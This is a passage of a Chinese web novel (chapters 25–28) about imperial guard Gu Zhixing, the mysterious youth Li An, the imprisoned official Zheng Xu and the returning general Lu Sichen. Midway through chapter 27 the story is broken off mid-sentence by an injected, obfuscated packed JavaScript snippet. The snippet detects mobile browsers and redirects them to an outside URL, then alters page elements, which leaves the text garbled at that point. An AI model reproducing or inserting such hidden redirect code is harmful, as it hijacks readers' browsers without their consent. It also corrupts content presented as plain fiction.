刚值班完就被王杰通硬拖生拽拉过来,美名其曰培养同僚感情的顾之行把酒当水喝,在他又将酒杯满上,送往嘴边时。一只手直接夺下,顾之行眼皮未掀,两指按住那人手腕上的麻穴,那人脱力,手一松,被顾之行接住;那人似是不服,又要上手去夺,顾之行反手轻巧地挡开;那人又用胳膊肘去撞……就这样两人无声无息地过了十几招,这杯酒还是稳稳地落在顾之行手中,一滴未落。 顾之行喝下酒,斜眼看他:“不幼稚吗?王统领。” 25. 李案 这已是今日王杰通第三回合与顾之行过招了,王杰通这人身上有股不服输的韧劲,从哪里跌倒就必须要把哪里的坑给填平了再走,上回他在顾之行身上栽了,就天天想方设法和顾之行过招,想从顾之行这里赢上一回。 顾之行有时被扰得不行,下手狠了点,能让王杰通趴在地上躺半天,却还是没发断掉王杰通想要战胜他的决心。 这不刚刚又故技重施。 王杰通脸皮厚,被调侃也不介意,反而殷勤地给顾之行倒酒,笑道:“这可不是幼稚,这叫请教,要不顾中郎将就同意与我再堂堂正正地比试一场,我这几日又将枪法精进了不少,定能在你手上过个百招!” 若是不同意,王杰通怕是要一直缠着他。 顾之行从容喝下,将空酒杯放下:“好,你约个时间,我们俩打一架,无论输赢,都不许再纠缠着对方如何?” “这……” 王杰通有点犯难了,他就是将顾之行当做他武功之路的“关卡”才一直缠着他,和他比武。现在这“关卡”自己要跑了,那他还上哪去找“任劳任怨”还又“免费”的关卡啊? “怎么不敢吗,王统领?” 此言一出,全场都静了,连举酒的手都停顿在半空中,大家全都瞅着王统领,想看他敢不敢答应,毕竟这段时间顾中郎将每次虐王统领,他们都在旁边看得清清楚楚,那叫一个惨不忍睹,偏偏王统领还死不悔改,如果这次他真的答应了,顾中郎将肯定会把它虐得连亲娘都不认识! 还有点期待是怎么回事?! 王杰通不知道其他哥们的心里想法,讪笑着转移目标,一拍桌站起身喊道:“兄弟们都不要跟我讲客气啊,来,谁和我划拳,输的人要把这壶“莫醉”全干了!” 这话再次把人带到醉生梦死的幻梦中去。 大家将思绪一抛,换成一副跃跃欲试的姿势,无上下级之分。 “我来!” “我我我!” “加我一个。” 气氛再次被调动起来,他们站起身划拳的划拳,还有抱一起痛哭和喝多了出去吐的,乱糟糟的。 一个人终于想起了什么问道:“对了,王哥你今日兴致怎么那么好啊,大白天的就请我们兄弟喝酒吃肉,还是这阎都最贵最大的酒楼?!” “咳咳咳……” 王杰通低头咳嗽了起来,挺大的一个汉子竟学起了女孩家的不好意思,而他们竟然在他那张燥糙得不能再糙的脸上看见了一抹羞涩?! 他用手指摩挲着鼻子,掩饰什么般大声嚷嚷:“那,那当然是陆哥明日就到达阎都,所以我今个儿高兴!就请兄弟们吃酒!等陆哥回来的那天我还要大摆筵席,庆祝个几天几夜!” 王杰通口中的陆哥就是陆思臣,陆思臣——勋贵子弟,世代镇守图西地区,虽无法参与朝堂的中枢决策,可地方势力影响很大,相当于异姓王,其父陆家镇战功赫赫,一生征战四方,戍守边疆,将一生都贡献在了沙场上; 陆思臣更是少年将军,宣德八年,弱冠之年的他就能独自率军凭借着灵活作战与出色的指挥能力,大败羌胡大军。 自此一战成名,成为无数年轻将士们心中敬仰的存在,他不仅继承了其父冷静自持,更是勇猛无畏,自上战场以来,经历过大大小小一共三十六场战争,几乎从无败绩。 同样也是让圣上忌惮的人。 顾之行垂眸,借助酒杯掩饰心中的想法,听着席间的嬉闹声:“王哥,我记得你之前说过你是在陆将军手下作战的?那这陆将军到底是个什么样人啊?” “陆哥?” 王杰通一时语塞,当年他是瞒着家族去的去参军,边疆无人知晓他的身份,不过他凭借着一身武艺在军中混了个伙长,那时陆思臣在军中已经有“小将军”的称号了,所以他只能远远地看一眼。后来他随着陆思臣几次出战,因每次都身先士卒,又斩落了几个士兵头颅,被破格升为队正,是最低级的军官,渐渐地才和陆思臣接触起来,但不多。 再后来他被家族的人知道参军一事,父母连夜进宫哭诉请求圣上把他从边疆召回……就更没法了解了。 王杰通搜肠刮肚了一会儿才道:“陆哥这人对士兵很好,不过总是不苟言笑,眉头也总皱在一起,心事重重的,好像天底下有他操心不完事。说是武将吧,又不像武将,更像个文人。” 一听这话,他们也没心思吃酒了,纷纷道:“王哥和陆将军好像很熟啊,那什么……能介绍给我们见一面吗?我们其实都挺仰慕他的……” 能和王杰通相熟且一起喝酒吃肉的,家里都是有人在朝中做着或大或小的官,纨绔子弟平日里闲来无事除了斗鸡走狗,就是飞鹰走马,心底里很向往在大漠戈壁里自由驰骋的生活,尤其王杰通还总在他们面前吹嘘边塞风光有多好,弄得他们很是心痒痒,更想结交陆思臣。 “这个……” 顾之行的心思早已不放在这里,因靠着窗口,他侧身就能望见楼下,春日寒霜,屋里却被暖炉整日烘烤,连花瓶里的紫薇花都不辩季节的盛开,而街道上的人还穿着薄棉衣,揣着手走。 忽而他看见一道熟悉的人影出现在街角,那人似有所感,仰头目光准确无误地锁定顾之行,好似知道顾之行在这儿,所以专门等他的,随后那人又旋身转入一个胡同里不见踪影。 “……” 顾之行眸色微敛,他站起身,道了句:“时候不早了,我还要值班,就不陪各位喝酒了。” 王杰通还来不及说什么,顾之行就越过他走出门口。 留下几人面面相觑,其中一人道:“今天不是没轮到他值班吗?” 那他急匆匆地走做什么? “还能是什么,无非是看不上咱们呗。” 另一人嘴里嚼着花生米,哼声笑道。 顾之行有一身的好武艺,如今又在御前行走,是圣上身边的大红人,虽出自白身,可也该有不少人去巴结他才是,只是这人性子偏偏极冷极傲,有时和他说上半天,都可能换不回他一个眼神,像今日的宴席还是王杰通死皮赖脸地缠着他过来的。 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李案还是穿着那身布满补丁的素色衣服,对顾之行的质问也不放在心上,反而道:“医馆一别我还以为再也见不到哥哥了,其实我很感谢哥哥送我去医馆,一直以来都想着要如何报答你的恩情,没想到今日竟梦想成真了。” 顾之行看向李案重复道:“告诉我为何出现在这里?你知道我在酒楼?你在跟踪我?” 顾之行一连三问,步步紧逼,不给李案任何开脱的机会。 这不怪顾之行如此问,从顾之行见到他的那天就派人专门调查了他的身份,因他易容,所能知道的线索也很少,所以他早就做好调查不到他真实身份的准备,可不久前得到的其中一条信息让他很在意——大殿下虽从小便喜爱在民间行走,可并没有结识过一个叫李案的人。 那他为何会有那块符牌,又为何说他是大殿下的人? 他到底是谁?又为何突然出现在他眼前? 李案面对顾之行过于锐利的询问并不恼,依然笑道:“哥哥错怪我了,我是碰巧路过这里,正好瞧见哥哥被一群人簇拥着进入酒楼,他们看样子和哥哥关系很好,哥哥喜欢和他们在一起吗?” 四两拨千斤,三言两语便又把话题转移了。 顾之行神色平淡:“同僚聚餐罢了,谈不上喜不喜欢。” “原来如此。” 李案点点头,似是赞同。 “你还没回答我,你为何在这。” 李案得到自己想要的答案后,心情很好,便毫无顾忌地把“秘密”说出了口:“我打算去看看郑旭。” 郑旭,自从“黄河案”后便如人间蒸发般消失了,任何人都不知道他在哪儿,连顾之行也不知道。 “……” 顾之行蹙眉,手已放在剑柄上:“你到底是何人?” 眼看着顾之行要拔刀,李案也不慌笑道:“我之前已经说过了,不过既然哥哥不记得了,我也可以再说一遍,我是大殿下的人。” “不过我亦是圣上的人。” 26. 郑旭 “……” 顾之行眸色微动,握在剑上的手非但没有松开反而握得更紧,直觉告诉顾之行,这人的话不可轻信,不仅是他前言的漏洞,还有他不明的动机。 可这人只身一人站在那儿,毫无防备,明亮的眼眸里只有见到他的欣喜与依赖,似乎顾之行一出手就能轻而易举地杀死他。 顾之行目光落在李案脆弱的脖颈上,一丈之外热闹无比,一丈之内寂静非常。 墙瓦上突然传来的轻响扰乱了这种微妙的气氛,顾之行下意识抬头去看,是一只瘦小黑猫跳上墙头,那只小黑猫动作不太敏捷,落在墙头时没站稳,晃动了瓦片,很细微的声响,除非是常年习武耳力好的人,寻常人是注意不了的。 李案也随着顾之行目光疑惑地往上看去,刚刚还在墙头的小黑猫已经跳下去,一溜烟跑没影了。 顾之行松开了握着剑柄的手:“有何证据证明你是圣上的人?” 李案露出苦恼的神色,不过只是一下,下一秒他便笑道:“哥哥不想见见郑旭吗?我带哥哥去见他,见了他以后说不定哥哥就不会怀疑我了。” 郑旭对李暨来说非常重要,非心腹之人不知道他的藏身之所,而李案这个提议虽不能完全证明他的身份,但也能消除一些嫌疑。 顾之行没有理由拒绝,抬脚往外走,与李案擦身而过之际,又停下:“带路。” “好。” 两人一路同行,在七拐八拐后就出了城,顾之行话少,基本上都是李案在旁时不时说些不痛不痒的笑话。 十几岁的少年,正是心性顽劣的时候,李案嘴里哼着不知从哪儿学来的曲儿,一路哼唱着,又变戏法似的手里多了一个草编花环。少年身形还带着些许未退的单薄,虽穿着破布麻棉,可骨架已撑开,显露出未来挺拔的气质,端得是青竹之姿。 他歪头晃了晃手中的花环,言笑晏晏:“哥哥,这个花环你喜欢吗?” 问得理所当然,好似两人不是来看犯人,而是好友来春游的。 城外大部分地区还是枯枝败叶,只有极少几处盛放着绿意,也不知这人是怎么收集到这些花草的。 顾之行:“……” 李案走在顾之行面前,手背在后面,倒退着走笑道:“哥哥,怎么不说话?” 他试探道:“难道是嫌我烦吗?” 这话说对了。 顾之行身边多得是比他还吵闹的人,只是人的忍耐都是有限度的,顾之行坦言:“很吵。” 李案原本含着笑意的眼睛一下子就黯淡了下去,像只委屈巴巴的小狐狸,原本轻快的步伐都慢了下来。 等顾之行意识到不对劲时,两人已经拉开很长一段距离了。 顾之行停住脚步,转身:“怎么不走了?” 李案抿了抿唇,露出牵强无比的笑:“就来。” 说着,步伐果然就加快了,只是接下来整个人都恹恹的,连曲儿都不哼了。 而那花环也不知被他丢哪儿了。 郑旭所在是一个很偏僻的地方,周围荒无人烟,只一座无比荒废的宅院立在那儿,门外有四五名持刀大汉守着,应当是怕郑旭乱跑出去。 李案将符牌给守门人看了一眼,这些人大概是专门挑选出来的,只认符不认人,将符核查无误后,便低眉异常恭敬地抱拳:“稍等。” 右手摘下腰间悬挂着的大串钥匙圈,从中挑出一个钥匙弯腰去开锁。对于顾之行的突然出现也无任何反应,训练有素。 “吱呀”一声,古朴老旧的门开了,宅院内更加荒芜,枯草疯长能有半人高,残缺的屋檐瓦片连风雨都遮挡不住,唯一干净的是中间劈开成一条小径用来通行。 正当中一位披头散发似疯子,寒霜三月天只身穿白色中衣,跪地俯首的男人就是郑旭。 他正手捧着字帖,神色疯狂,痴儿似的对着一幅字喃喃自语,似乎想从中看出些东西来。 这字帖顾之行很熟悉,当时顾之行奉命缉拿他时,郑旭因不肯伏法,和禁军推搡期间无意中从袖中掉出来的就是这幅字,没想到如今竟还在他身上。 李案看出顾之行疑惑,解释道:“这幅字是他恩师所赠,他一直随身带着,说什么都不肯松手,无法我只好查看了下,觉得没什么问题就让他随身带着。” 顾之行点头。 李案将目光转移到跪趴在地的郑旭身上:“想好了吗?如何招供。” 听到李案声音,郑旭才恍然察觉有人靠近,他缓缓抬起头,不过半月未见,他就像一夜之间老了十多岁,不复开始的神气模样,没了华服装饰的他现在就像条狗,一条被主人丢弃的流浪老狗。 他似乎很怕李案,在看向李案时整个人哆嗦了一下,眼神里闪过惶恐之色,他又看向顾之行,顾之行怕节外生枝在进入宅院后就将面具带上,所以郑旭没认出他。 “不,不……” 不知郑旭在这儿受了什么酷刑,他精神状态不太好,只在喉咙里吐出两个字后又低下头,眼珠左右乱转,去查看手里的那幅字,仿佛这是他的救命稻草。 李案不屑道:“到底是在官场上待了那么久的老人,所以轻易不会因为几句话就被忽悠上当,说出全部事情。” 他转头笑道:“哥哥,你有什么好办法能让他招供吗?” 顾之行低下头,跟着郑旭一起去看那字帖——《书经》通篇只讲了个“忍”字,再无其他。 顾之行蹲下身,垂眸,用葱白似的手指指了指其中几个字。郑旭顺着顾之行手指的方向看,突然间像见到了鬼,拼命向后退去直到后背撞到门扉才被迫停下,而那个被他视若珍宝的字帖恍若成了索命的厉鬼,被他丢在地上。 他用手拼命抓着自己的头发,想要借此来逃避,同时大喊:“不可能,不可能,老师不会如此对我的!这不可能……” 效果显著,李案露出赞赏的神色,对顾之行笑道:“接下去就交给我了,哥哥先在外等我可好?” 顾之行点头,迈步而出。 人已经确认过了,顾之行对如何审讯犯人不感兴趣,何况他知道有时好奇心过重只会害了自己,所以不用李案提醒,他也不会留在这。 天色纯净,万里无云,这个季节南飞的鸟雀陆陆续续 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李案依然笑道:“一位老人,不过他也没什么本事,平生只爱喝酒,就算说出来哥哥应该也不认识他。” 顾之行:“……” 李案:“除此之外,哥哥就没有想问的吗?” “没有。” “……哥哥难道不想知道圣上为何要把郑旭安排到这里而非宫中?” 宫中遍布世家大族的眼线,圣上的一举一动都没有隐私可言,不要说藏一个人,就算藏半个人,不到半日这消息就如长了翅膀般飞入其他朝臣的书房里了,很浅显的道理,所以李暨才不会把郑旭安排在自己身边。 顾之行脚步没停,李案叹道:“哥哥聪明,自然知道原因,是我多此一问了。” 这似怨似叹的怪异语气,成功让顾之行停下了,他转身:“你在不满?” “……是哥哥。” 李案叹气,再抬眼时,那双漂亮的眸色含着些怨气:“自从再见后,哥哥似乎就很讨厌我,我是哪里惹恼了哥哥吗?” “……” 顾之行是在血海中长大的,见识到的都是人们死前那带着血污的脸和不甘又怨恨的眼睛,还有无尽的咒骂与求饶声。 他从不知道一个少年能那么“多愁善感”一时竟不知怎么开口,半响才在李案幽怨的眼神中道:“……没有,只是你我现在敌友不明,你难道不怕我杀了你?” 李案眼中闪着某种偏执的情绪,他笑道:“若能让哥哥高兴,就算杀了我又何妨?” 疯子。 这是顾之行给他下的第一个定义。 * 远方第一缕晨光出现,正是天将明未明之时。 阎都郊外,迎着朝露而来的是整齐划一的马蹄声,马蹄踏碎花草丛,携眷着西北的黄沙,扑面而来的是肃杀之气,前方的旗帜被竖立在半空中,旗帜飘荡,上面写着一个字——魏! 这正是回都述职的魏西军! 最前方一名头戴盔甲的青年人,突然勒马停止前行,抬手,副将立马朝后面喊道:“停止行军。” 27. 狂悖 黑沉沉一片的魏西军闻言立枪站直,皆肃立在后,严阵以待。 此次回都述职,陆思臣只带了几千兵马,个个都是精锐,魏西军又是出了名的纪律严明,纵然已行军了三个月,但无一人敢露出半点疲色。 陆思臣下马,摘下头盔,露出一张及其雅正的脸,眉宇间却又带着将领特有的英气。 他启唇:“现在原地驻扎,第二日再启程进都。” 副将点头领命:“是。” 随后让后面随行的将士暂时驻扎在附近,等明日进都面圣后再另行安排住处。 底下的将士们动作利索,没一会儿就搭建起了帐篷,升起了篝火,正在烧水做饭。 夜间依然寒冷,陆思臣坐在火堆旁烤火,没一会儿去又复返的副将抱拳道:“将军,属下刚刚抓住了一只一直在这里徘徊的鸽子,它腿上绑着一个纸条。” 陆思臣正在用树枝拨动火中的断木,闻言抬眼:“写得什么?” “属下还没有看。” 他伸手接过,边拆边问道:“你觉得是谁专门送过来的?” “属性……也不知。” 罗志有些为难,又不知想到什么心直嘴快道:“总不能是阎都的信吧?” 陆思臣展开信纸,皱眉看了一会儿就丢进火堆里,自始至终未执一言,火舌舔舐着信,副将没忍住问:“将军,所以这是谁人写的?” 陆思臣:“一位与父亲相熟的人罢了。” 与元帅相熟的人? 火光将陆思臣的脸照得通红,罗志忍不住思索起来,元帅在这阎都还有相熟之人?怎么没听元帅和他们说过? 见想不通,罗志索性就不想了:“将军,我看他们已经把饭做好了,我现在去给你盛点过来吧。” 陆思臣点头应允,明明是将门之后可偏偏一举一动都温和无比。 与此同时,在另外一个地方,除了魏西军回阎都述职外,还有一人亦不远万里从沙洲独自一人回了阎都。 因没有琐事负担,他比他们要早到两天,此刻正在皇宫的槐树下晒太阳,老人就这么躺在地上,以地为席,以天为被呼呼大睡起来,偶然还发出几声呼噜,像是睡熟了。 突然一人近身而来,以掌为刃,朝着脑袋就要劈下,招式狠厉。 老人似乎感应到了什么,眼睛未睁,头一歪,抬手,两指为筷轻轻松松就接住了那人的招式,同时另一只手一把缠住那人的胳膊,将那人拉到身边,双腿蹬在地上,腰腹使力,身体在半空中旋转,不但卸了那人的力,还借力使力让自己站起来,不至于一直处于下风。 那人也不甘示弱反身抬腿直冲着老人的脖子横扫过去,如此攻势换做旁人定会躲避,可老人不但没躲抬起胳膊格挡,硬生生抗住了冲势,一把钳住那人的腿。 他要试试这人的武功到底如何! 那人没有让老人得逞,用右手撑地,利用极强的腹部力量让另一条腿腾空击打老人的下巴,老人后仰,被迫松手。 那人耍了一个心眼,右手就地抓了一把泥洒向老人面部,老人下意识抬袖去档,这正中那人的下怀,抬腿侧踢追击,又用腿去爆头。在连环腿的高速攻击下,老人一时有些招架不住,只能不停后退躲避。 在退无可退,再退就要掉进池子里之时,那人突然停止了攻势。 老老实实地站定,收放自如,一身劲装衬得他身形修长,衣服下的每一寸肌肉都完美的像只草原上优雅又极具压迫性的花豹,李泽桉笑道:“师傅现在觉得徒儿武功如何?” 老人用手揉了揉被震得发麻的胳膊,暗自松了一口气,李泽桉刚才虽偷袭了一招才让局势反转,可刚刚的爆发力却是恐怖如斯的,老人甚至想就算是年轻时的他过来都不一定能接住;而以他刚刚的身手就算不偷袭,局势也一定会向他倾斜。这有他人老了力量大不如前在,可也有李泽桉对“金刚武学”运用的如火纯青在。 老人抚掌笑道:“徒儿的武艺真是长进不少啊,恐怕再过几年,你师傅我就不是你的对手了。” 完全不在意李泽桉刚刚的大逆不道,不过也是,如果在意就不会收他为徒了。 李泽桉笑得很是人畜无害:“多谢师傅夸奖。” “咳咳……” 老人抚了一把白花花的胡须,既然武学已经切磋过了,现在自当要摆出一副师傅的架子来:“那你知道为师为何现在千里迢迢过来找你吗?” “为什么?” “……” 我这不是问你的吗? 老人又装模作样地咳嗽两声:“为师现在有两个消息,一个是好消息,一个是坏消息。你要先听哪个?” 李泽桉毫不犹豫:“坏消息。” 老人也不意外:“这次外番使臣来访可不是好事,他们是来势汹汹啊。” 李泽桉笑道:“师傅知道内情?” 老人点头,一脸高傲:“自然,也不看看你师傅是何等人也。” 李泽桉请老人在槐树下的石凳上坐下,并亲自给他斟酒:“那师傅就说给徒儿听听吧。” 老人有严重的酒瘾,见酒就走不动道了,尤其还是天下闻名的“莫醉”,他舔了舔嘴唇,贪婪地将酒杯里的酒一饮而尽,就这还不过瘾直接拿壶对嘴喝,直到喝下去一大半才慢吞吞道:“我听说……” 槐树枝桠在空中摇晃着,南飞的燕又飞回来了,在新冒出的嫩芽的树枝上啄食着虫子,忽而又被惊动了似的振翅高飞而去。 李泽桉垂目,望着杯中酒,看不清他的神色,他道:“好消息呢?” 老人笑道:“好消息自然就是你师傅不辞万里过来看你。” “……” 李泽桉忽而抬头笑道:“那倒是,师傅这一趟回来是真的帮了徒弟大忙了。” “……” 不知为何老人突然觉得他这徒儿的笑怎么那么诡异,有种汗毛直竖的感觉?! 李泽桉笑道:“放心,徒儿一定不会让师傅白忙活的,事成之后,徒儿一定再请师傅喝“莫醉,且一次让师傅喝个痛快,甚至以后在阎都的酒徒儿都包了。” “真的?!” 老人一听哪里还不答应,主要是这“莫醉”千金难求,非达官显贵不得购入,就这每日还限量,对于老人这个酒痴来说是最不能忍受的,不过样子还是装一下的:“咳咳,我是说既然是徒儿的请求,我这个当师傅的自然要应允的。” 完全不担心他这个“黑心肠”的徒儿会不会把他卖了。 * 晨曦破晓,皇宫寝殿内已然灯火通明,一夜未眠的李暨在黄忠的伺候下已穿好朝服,坐在塌上,只待那晨钟敲,宫门开。 顾之行身为千牛卫中郎将也随队站立在外,早春寒峭,呼出的每一口都是热气,身旁是已经成为禁军的小杜。 顾之行办事利落,加之有李暨的默许和禁军的僵化与庞杂,安插几个暗卫在禁卫里倒也没引起什么人的注意。 小杜平时就自在惯了,不习惯这种一板一眼的站姿,没站一会儿身子就软了似的,歪七扭八地站着就差和顾之行勾肩搭背了。 人不正经就算了,说的话也不正经,明明是严肃之事,到他嘴边转了一圈就变了味,他的身体拼命往顾之行那边倾斜,小声地八卦着:“老大,你听说了吗?这次来我国朝贡的使者据说是在陆小将军手里吃了败仗的弥且孛扎!我听说这小子狂的很,一直不服气,还嚷嚷着要和陆小将军再比试一场……嘿嘿,冤家路窄,这下可有好戏看了。” 顾之行:“……” 外藩使臣来朝朝贡,这是对外宣扬的说辞,说得好听,可左右不过是表象,实际却是来要债的。 几日前,紫宸殿,李暨坐在龙椅上,因动了气整个人都在发抖,怕他真的气过去,黄忠一边哄着他一边给他顺气,还不忘让下面的人准备安神汤给李暨服下,殿内外已经跪了一大片宫女宦官,顾之行亦跪在其中。 李暨好不容易缓过劲来,直接将呈上来的奏折与一封信摔在顾之行面前:“宵小之辈,狂徒!他这是在威胁朕吗?!朕若不给他这些,他难不成当真要兵临城下,夺了朕的皇位不成!真当我朝没有能臣武将?!狂悖!狂悖!!!” 顾之行拿起信纸一看,前面书写的很正常不过是例行问候当朝圣上,后面却无比大胆,张嘴便要金银300万,绢帛5000斤,良马2000匹,其他瓷器绫罗等奇珍异宝亦数不胜数。 人未至,信先到,上来便狮子大开口让我朝把半个国库都要给他,当真是贪得无厌的狂悖之徒。 李暨目光落在顾之行身上,神色竟透着一丝悲凉,他声音压得很低,仔细听还有些颤抖:“可你知道和这封信一起呈上来的奏折写的什么吗?” “他们说为了两国交好,请朕务必先答应他们的请求,让朕体恤民生,不可再让边疆百姓受战乱之苦;说如今羌胡虽小而弱,可却占据沙洲这个易守难攻的地方,若没有万全之策,应当是“守”而非“战”。说的跟真好听简直比唱的还好听!” 顾之行:“……” 李暨走向他目光如炬:“顾之行,你觉得朕该如何?” 顾之行抬头:“卑职认为以身饲虎始终不可取……” …… “老大,你说咱们这得站到啥时候啊?不能动还不能说话跟个木桩似的站着,怪难受的。” 小杜适时的抱怨传入顾之行耳中将他的思绪拉回,顾之行冷冷的瞥他一眼算是警告:“若你不愿意可换大志过来。” 也不怪顾之行会如此说,若不是现在的禁军左右皆是他们的人,就他这话不小心传了出去打板子是小,若是被有心人利用了去怕是要掉脑袋。 小杜也知道自己说错话了,被警告的有些心虚,但听要换大志,心中却升起一丝不服,可又因着畏惧顾之行,只好撇了撇嘴,老实站着,看起来非常憋屈。 顾之行自然瞧得出来:“当时选路,是你选的明桩,让大志当暗桩,他没争,你也别想着抱怨,我之前就说了,明桩不如暗桩自在,有无数的眼睛盯着你的错处,所以要时时刻刻注意自己的行为举止,若你做不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517638|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,就换人。” 顾之行初任中郎将,因身为白身,手底下自然没人肯信服,再加上身份特殊,有些事也不能随便交待给旁人,因此自然要在暗卫里面选些人出来当明桩,一个个不动声色地安插在禁卫中,这样除了方便行动,更能保护暗桩。 小杜被说得脸红,支支吾吾半天才嗫喏道:“老大,对不起,我不会再有下次了……” 这话被照例带队巡视的王杰通听见了,他走到他们身前,表情严肃地看了一眼这边,示意他们安静,可在和顾之行对视上后却又冲顾之行极快眨了一眼,才又带队走远。 顾之行:“……” 小杜目瞪口呆看着禁军统领这一系列操作,半天才干巴巴道:“这位王统领莫不是有什么眼疾?” 顾之行:“……” 这会儿说话的功夫,城墙外,大门已开,魏西军经过一夜的休整已是整装束阵,烈风阵阵,旌旗猎猎,整个训练有素的军队整齐划一地进入阎都,沿途有一些听见动静的百姓好奇地支起窗柩,伸头仰望。 陆思臣带头骑马而过,远远便瞧见李暨率领众臣亲自登高,站在皇城门上迎接。 这是至高无上的荣耀。 陆思臣面上却无喜色,行至城下,他一人下马,卸刀,拾阶而上,单膝跪地:“微臣参见圣上,愿圣上身体安康。” “君臣之间何必多礼,爱卿还是快平身吧。” 李暨面容上罕见地有了些笑意,并示意黄忠去扶他起身:“路途遥远,你长途跋涉也该累了,朕已让御厨备好宴席为你们接风洗尘。” 陆思臣任由宦官将自己搀扶起来,行礼道:“多谢圣上关心,微臣身为武将回京述职本就是职责所在,所以谈不上累与不累。” 李暨没接话,反而和他唠起了家常:“三年一次回京述职,往年都是你父亲做的,今年到是换了你来,他到也放得下心让你千里行路,少年将军当真是名不虚传啊。你父亲身体如今都还康健?” “圣上过奖。” 陆思臣行为举止处处有礼,让人挑不出错处来,闻言又行礼道:“回禀圣上,家父一切都好,依然能扛刀上阵杀敌,替圣上镇守边疆。” “哈哈哈,那就好,你父亲对我朝有功,朕是很希望他能安享晚年啊。” 陆思臣:“承圣上吉言。” 君臣和乐地向宴席走去,路过某处时,陆思臣突然向某处瞥了一眼,又快速转回来,继续在半步之外的距离跟在李暨身后走着。 这细微的动作没有逃过顾之行的眼睛,连小杜都注意到了:“老大,他刚刚是不是朝我们这儿看了一下?” 顾之行:“……” 陆思臣,一位顾之行没想到今生还能再见到的故人。 圣上设宴款待边疆将士传出去不失为一桩美谈,以崔氏为首的官员纵然想找茬却也不好说什么,便也只好参加宴席。 而能参加皇宴的非将领不可,普通的士兵下面的人自会负责招待,所以坐在宴席上的除了陆思臣便只有他的副将罗志。 席间其乐融融,或许是想攀附,或是有其他算计,阎都这些除了吟诗作画,便是饮酒作乐的官员竟频频找借口灌他们的酒,陆思臣有再大的酒量都架不住他们灌,尤其到后期李暨因体力不支离席后,他们便更加肆无忌惮,罗志一开始还能替陆思臣挡酒,后面就是直接被灌趴下在桌子底下,不省人事。 陆思臣有些头疼,手抵着额头打算装醉混过去时,一个声音在头顶上响起:“陆小将军?陆小将军?难不成真的醉过去了?早知道就别劝他喝那么多酒了。” “那怎么办啊?话说这事真的能行吗?我听说陆家这位小将军可是出了名的严谨。真的仅凭两句话就能挑拨?” “事已至此,何不试一试?反正他喝了那么多酒,酒醒后未必还记得今天这一幕,何况不过是个兵痞子,再严谨能严谨到哪里?酒一喝还不是原形毕露?到时候我们再将此事宣扬一下,就说陆小将军因对圣上不满竟当众……” “说的也是。” “……” 听了半天自己墙头的陆思臣这才“悠悠转醒”,眼神迷离,很明显是喝高了,他举起没有酒的酒杯,拉着面前两人就要干:“来,来,我们接着喝!” 却被两人阻止,他们对视一眼夸奖道:“陆小将军真是豪气,我们虽言微人轻却也有意想结识陆小将军……我们听说陆小将军此次除了按例回京述职,还有一事便是向圣上讨要军饷?我们还听说蕃西地区雪灾严重,圣上却迟迟不肯……” 陆思臣猛地拍案,将两人吓了一跳把后半句直接给咽到肚子里去了,眼睛死死盯着陆思臣,观察他的反应。 陆思臣只是晃了晃脑袋,似是还不清醒,他晃晃悠悠地站起身,一把推开他们道:“让一让,我,我要去方便一下。” 说着不管两人的神色,就直接离席,好像没听见刚才那番话一样。 其中一人指着陆思臣的背影:“他,这……” 另一人思索了一下,摇了摇头,坐回了自己的席位。 28. 往事 陆思臣是有些醉了,阎都最出名的“莫醉”不是浪得虚名的。但就算醉了,陆思臣也是有分寸的,他不傻,那两人摆明了就是想看他“耍酒疯”。 刚入阎都,屁股还没坐热就有人给他下套,这群人可当真是存了些“好心思”,若是在军中就凭这两人说的话,定会当做扰乱军心的“奸细”,军法处置! 可惜他现在是在阎都,天子脚下,而非蕃西,这里容不得他说了算。 他现在看人都有些重影,那两人的容貌也并未看清,再待下去事情发展定会不受他控制。 陆思臣随处寻了个清净地方打算先吹吹风醒一醒酒,他头靠在走廊柱子旁,冷风让他的理智稍微回归了些,眉头依然拧着,他想起父亲在他回阎都前嘱咐他的话:“你爹和他们打过好几次交道,那群在阎都的官个个都是人精,你没有经历过官场沉浮不懂那些算计,所以更要处处小心些,不要仗着自己有几份战功就昂首伸眉,让人抓到把柄。” “圣上现在仰仗我们为他戍守边疆,所以自然圣恩浩荡,可帝心难测,若真的生了嫌隙……” 冷风非但没有让他眉头舒展,反而越皱越紧,在战场上意气风发,遇神杀神的天之骄子少年将军如今却被困在繁华似锦的阎都束手束脚,还当了一回缩头乌龟。 真是荒唐! 或是酒气上头,陆思臣此刻觉得心中如有一团火,烧得他胸口闷疼,他扶着柱子站起身,刚要去其他地方走走,就听见一个声音从前方传来:“卑职参见陆小将军。” 陆思臣抬头便看见身着禁军服饰,换班巡逻的顾之行给他行礼,下意识喊了一声:“之行。” 这番过于亲切又久远的称呼让顾之行一时有些恍惚,随即反应过来用眼神示意后面的禁卫继续巡逻,他礼貌又疏离地提醒道:“陆小将军可是来此地醒酒的?不过皇宫地形错综复杂,若没人带路很容易迷失方向,卑职认为陆小将军还是尽早回到宴席上去为好。” 陆思臣却笑了:“我刚刚还在怀疑是不是认错人了,现在到确定了,不过看来小之行这是不认识我了,也是,已经过去那么多年了,你也长那么大了……” 他用手隔空比了比顾之行的身高,颇有些感慨地叹道:“明明分别之时你才那么高点。我到没想到你现在竟成了一名禁军。” 这熟稔的语气和无比亲切的笑容成功换起顾之行的的记忆,他的义父顾宏之还在世的记忆,他在蕃西生活的记忆…… 因过于遥远,顾之行竟凭空生了几分恍惚,拳头握紧,指甲陷入肉里的痛才将他唤醒,他道:“陆小将军真是好记性,还记得那么久之前的事。” 陆思臣并没有被顾之行疏远的语气惹恼,反而换了话题:“你义父可好?我父亲也时常念叨着他,我以为上次一别会很快见面,没想到……” 或者是酒还未醒,陆思臣的话格外多。 顾之行从没想过这世上还有人和他一起记得那段时光,这一瞬间让他有种无所遁形的狼狈感,顾之行急促地打断道:“多谢陆小将军关心,只是义父他……已经去世了。” 没找到会得到这样的消息,陆思臣一愣:“什么时候的事?” “宣德七年。” “原来如此,怪不得……” 